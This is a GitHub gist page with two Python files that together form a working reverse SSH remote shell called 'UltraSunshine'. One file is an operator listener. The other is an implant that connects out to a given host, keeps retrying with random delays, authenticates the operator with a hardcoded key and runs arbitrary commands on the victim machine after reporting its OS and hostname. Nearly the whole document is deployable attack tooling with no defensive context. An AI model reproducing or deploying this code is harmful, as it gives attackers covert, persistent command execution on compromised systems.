-
-
Save jmg292/340653e05b52ee2460289a08ae11869a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import socket | |
import base64 | |
import paramiko | |
import socketserver | |
try: | |
import termios | |
import tty | |
has_termios = True | |
except ImportError: | |
has_termios = False | |
class Shell: | |
@staticmethod | |
def posix_interactive(channel): | |
import select | |
oldtty = termios.tcgetattr(sys.stdin) | |
try: | |
tty.setraw(sys.stdin.fileno()) | |
tty.setcbreak(sys.stdin.fileno()) | |
channel.settimeout(0.0) | |
while True: | |
read, write, execute = select.select([channel, sys.stdin], [], []) | |
if channel in read: | |
try: | |
message = channel.recv(1024) | |
if len(message) == 0: | |
sys.stdout.write("\r\n*** EOF ***\r\n") | |
break | |
sys.stdout.write(message) | |
sys.stdout.flush() | |
except socket.timeout: | |
pass | |
if sys.stdin in read: | |
char = sys.stdin.read(1) | |
if len(char) == 0: | |
break | |
channel.send(char) | |
finally: | |
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) | |
@staticmethod | |
def windows_interactive(channel): | |
import threading | |
sys.stdout.write("Character-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n") | |
def writeall(sock): | |
while True: | |
data = sock.recv(1) | |
if not data: | |
sys.stdout.write("\r\n*** EOF *** \r\n\r\n") | |
sys.stdout.flush() | |
try: | |
sys.stdout.write(chr(data[0])) | |
sys.stdout.flush() | |
except IndexError: | |
print("[+] Connection closed.") | |
break | |
writer = threading.Thread(target=writeall, args=(channel,)) | |
writer.setDaemon(True) | |
writer.start() | |
try: | |
while True: | |
try: | |
d = sys.stdin.read(1) | |
if not d: | |
break | |
channel.send(d) | |
except KeyboardInterrupt: | |
channel.send(b"\x18\n") | |
except EOFError: | |
pass | |
@staticmethod | |
def get_interactive(channel): | |
banner = channel.recv(40960) | |
print(str(base64.b64decode(banner), 'utf-8')) | |
if has_termios: | |
Shell.posix_interactive(channel) | |
else: | |
Shell.windows_interactive(channel) | |
class SessionHandler: | |
def __init__(self, transport: paramiko): | |
self._transport = transport | |
self._channel = None | |
def _handle_authentication(self, username, key_file): | |
with open(key_file, "r") as infile: | |
rsa_key = paramiko.RSAKey.from_private_key(infile) | |
self._transport.auth_publickey(username, rsa_key) | |
def control_session(self): | |
if self._channel is not None: | |
self._channel.get_pty() | |
self._channel.invoke_shell() | |
Shell.get_interactive(self._channel) | |
def start_session(self, username="UltraSunshine", key_file="private_key"): | |
try: | |
self._transport.start_client() | |
self._handle_authentication(username, key_file) | |
self._channel = self._transport.open_session() | |
return True | |
except Exception as e: | |
print(f"[!] Exception in session handler. Details: {e}") | |
return False | |
class ReverseSshTcpHandler(socketserver.BaseRequestHandler): | |
def handle(self): | |
transport = paramiko.Transport(self.request) | |
session_handler = SessionHandler(transport) | |
session_handler.start_session() | |
session_handler.control_session() | |
if __name__ == "__main__": | |
server = socketserver.TCPServer(("0.0.0.0", 40960), ReverseSshTcpHandler) | |
server.serve_forever() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import io | |
import sys | |
import time | |
import shlex | |
import socket | |
import base64 | |
import random | |
import asyncio | |
import getpass | |
import platform | |
import argparse | |
import paramiko | |
import threading | |
SERVER_KEY = """ | |
""" | |
SERVER_KEY = paramiko.RSAKey.from_private_key(io.StringIO(SERVER_KEY)) | |
class SshServer(paramiko.ServerInterface): | |
_embedded_public_key = "AAAAB3NzaC1yc2EAAAADAQABAAABAQDin28Lb5BAgLcQrcrZtt3VpsBRxMNiEqZa7A3HSsiqjzfqmZ0ouJ7wDXY" \ | |
"HgXoquRLfmy5Nm/kIThXE5Q47Bsm3VmSbTZuG7/DCYisUzER90NnWxv+X8f7xGdt+47TGY6xsMpP87xPbausvXJF" \ | |
"yKgCmSjenBmc6hshOMOjmaMk1ikpXJKQQPEInrahoqXZZ5XGoBh5RGNQ/nabv7feYlFI4ncL2mX7/NgUTDqSYiKu" \ | |
"sgdBTWZbTSm4ccfPLUmBvdSWyqnRodEH4yWHJmCWFlBeyNEXamsjpgPHLIyYgczNTRVfR9rTSjz3sxYGJR/BAQdc" \ | |
"UTB8iHXKhoB0DdUnznaQL" | |
def __init__(self): | |
self.event = threading.Event() | |
self._trusted_key = paramiko.RSAKey(data=base64.b64decode(SshServer._embedded_public_key)) | |
def check_channel_request(self, kind, channel_id): | |
if kind == "session": | |
return paramiko.OPEN_SUCCEEDED | |
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED | |
def check_auth_publickey(self, username, key): | |
if (username == "UltraSunshine") and (key == self._trusted_key): | |
return paramiko.AUTH_SUCCESSFUL | |
return paramiko.AUTH_FAILED | |
def get_allowed_auths(self, username): | |
return "publickey" | |
def check_channel_shell_request(self, channel): | |
self.event.set() | |
return True | |
def check_channel_pty_request( | |
self, channel, term, width, height, pixelwidth, pixelheight, modes | |
): | |
return True | |
class ShellProvider: | |
def __init__(self, _channel): | |
self._sigterm = False | |
self._channel = _channel | |
self._channel_file = self._channel.makefile("r") | |
self._running_process = None | |
self._event_loop = None | |
self._read_task = None | |
self._writing = False | |
@staticmethod | |
def _get_os_info(): | |
return f"{platform.system()} {platform.release()} {platform.version()} - {platform.platform()}" | |
@staticmethod | |
def _get_shell_prefix(): | |
username = getpass.getuser() | |
end_bit = "$" | |
if "nt" in os.name: | |
end_bit = ">" | |
elif username == "root": | |
end_bit = "#" | |
return f"{username}@{platform.node()} {os.getcwd()}{end_bit}" | |
@staticmethod | |
def _change_dir(target_dir): | |
try: | |
os.chdir(target_dir) | |
return "Directory changed." | |
except (OSError, os.error): | |
return "Unable to access directory." | |
def get_banner(self): | |
banner = '\n'.join([ | |
r" , /), ____ ___.__ __ _________ .__ .__", | |
r" (( -.((_)) _,) | | \ |_/ |_____________ / _____/__ __ ____ _____| |__ |__| ____ ____", | |
r" ,\`.'_ _`-',' | | / |\ __\_ __ \__ \ \_____ \| | \/ \ / ___/ | \| |/ \_/ __ \\", | |
r" `.> <> <> (,- | | /| |_| | | | \// __ \_/ \ | / | \\___ \| Y \ | | \ ___/", | |
r" ,', | `._,) |______/ |____/__| |__| (____ /_______ /____/|___| /____ >___| /__|___| /\___ >", | |
r"(( ) |, (`--' \/ \/ \/ \/ \/ \/ \/", | |
r" `'( ) _--_,-.\ Reverse SSH Bind Shell", | |
r" /,' \( ) `' OS Info: {0}", | |
r" (( `\ Hostname: {1}", | |
r" `" | |
]) | |
return base64.b64encode(bytes(banner.format(self._get_os_info(), platform.node()), 'utf-8')) | |
@staticmethod | |
async def _handle_read_future(stream, callback): | |
while True: | |
char = await stream.read(1) | |
if char: | |
callback(char) | |
if not char: | |
break | |
async def _process_available_input(self): | |
await asyncio.sleep(0.5) | |
while self._running_process.returncode is None: | |
ready = self._channel.recv_ready() | |
if ready: | |
cmd_input = self._channel_file.readline() | |
if type(cmd_input) is str: | |
cmd_input = bytes(cmd_input, 'utf-8') | |
if cmd_input.strip() == b"\x18": | |
self._running_process.kill() | |
self._sigterm = True | |
return | |
self._writing = True | |
if not self._running_process.stdin.is_closing(): | |
if self._read_task is not None: | |
self._read_task.cancel() | |
self._running_process.stdin.write(cmd_input) | |
await self._running_process.stdin.drain() | |
self._writing = False | |
else: | |
await asyncio.sleep(0.5) | |
async def _read_stream(self, stream, callback): | |
while True: | |
if not self._writing: | |
if self._sigterm: | |
if self._read_task is not None and not self._read_task.cancelled(): | |
self._read_task.cancel() | |
self._read_task = None | |
self._sigterm = False | |
return | |
elif self._read_task is None: | |
self._read_task = self._event_loop.create_task(self._handle_read_future(stream, callback)) | |
elif self._read_task.done(): | |
if self._read_task.cancelled(): | |
if self._writing: | |
continue | |
self._read_task = None | |
if self._running_process.returncode is not None: | |
break | |
else: | |
await asyncio.wait([self._read_task], timeout=0.25) | |
else: | |
await asyncio.sleep(0.25) | |
async def _stream_subprocess(self, cmd, output_callback): | |
self._running_process = await asyncio.create_subprocess_shell( | |
cmd, | |
stdout=asyncio.subprocess.PIPE, | |
stderr=asyncio.subprocess.STDOUT, | |
stdin=asyncio.subprocess.PIPE, | |
) | |
tasks = [ | |
self._read_stream(self._running_process.stdout, output_callback), | |
self._process_available_input() | |
] | |
await asyncio.wait(tasks) | |
def write_output(self, output): | |
self._channel.send(output) | |
def execute_command(self, cmd): | |
self._event_loop.run_until_complete( | |
self._stream_subprocess(cmd, self.write_output) | |
) | |
def parse_input(self, cmd_input): | |
cmd = shlex.split(cmd_input) | |
response = "" | |
if cmd_input.lower() == "exit": | |
sys.exit(0) | |
elif cmd[0].lower() == "cd": | |
response = self._change_dir(cmd[1]) | |
else: | |
self.execute_command(cmd_input) | |
self._channel.send(f"{response}\n{self._get_shell_prefix()}") | |
def run(self): | |
if "nt" is os.name: | |
self._event_loop = asyncio.ProactorEventLoop() | |
asyncio.set_event_loop(self._event_loop) | |
else: | |
self._event_loop = asyncio.get_event_loop() | |
self._channel.send(self.get_banner()) | |
time.sleep(0.25) | |
self._channel.send(self._get_shell_prefix()) | |
while True: | |
message = self._channel_file.readline().strip() | |
if message: | |
self.parse_input(message) | |
else: | |
break | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument("--host") | |
parser.add_argument("--port", "-p", type=int) | |
args = parser.parse_args() | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
while True: | |
try: | |
s.connect((args.host, args.port)) | |
break | |
except socket.error as e: | |
sleep_time = random.choice(range(30, 60)) | |
print(f"[!] Socket error trying to connect to {args.host}:{args.port}") | |
print(f"[!] Details: {e}") | |
print(f"[+] Retrying in {sleep_time} seconds.") | |
time.sleep(sleep_time) | |
server = SshServer() | |
transport = paramiko.Transport(s) | |
transport.add_server_key(SERVER_KEY) | |
transport.start_server(server=server) | |
channel = transport.accept(60) # Allow 60 seconds for authentication | |
if channel: | |
print("[+] Authenticated!") | |
server.event.wait(10) | |
if server.event.is_set(): | |
# Client asked for a shell, giving it to them. | |
shell_provider = ShellProvider(channel) | |
shell_provider.run() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment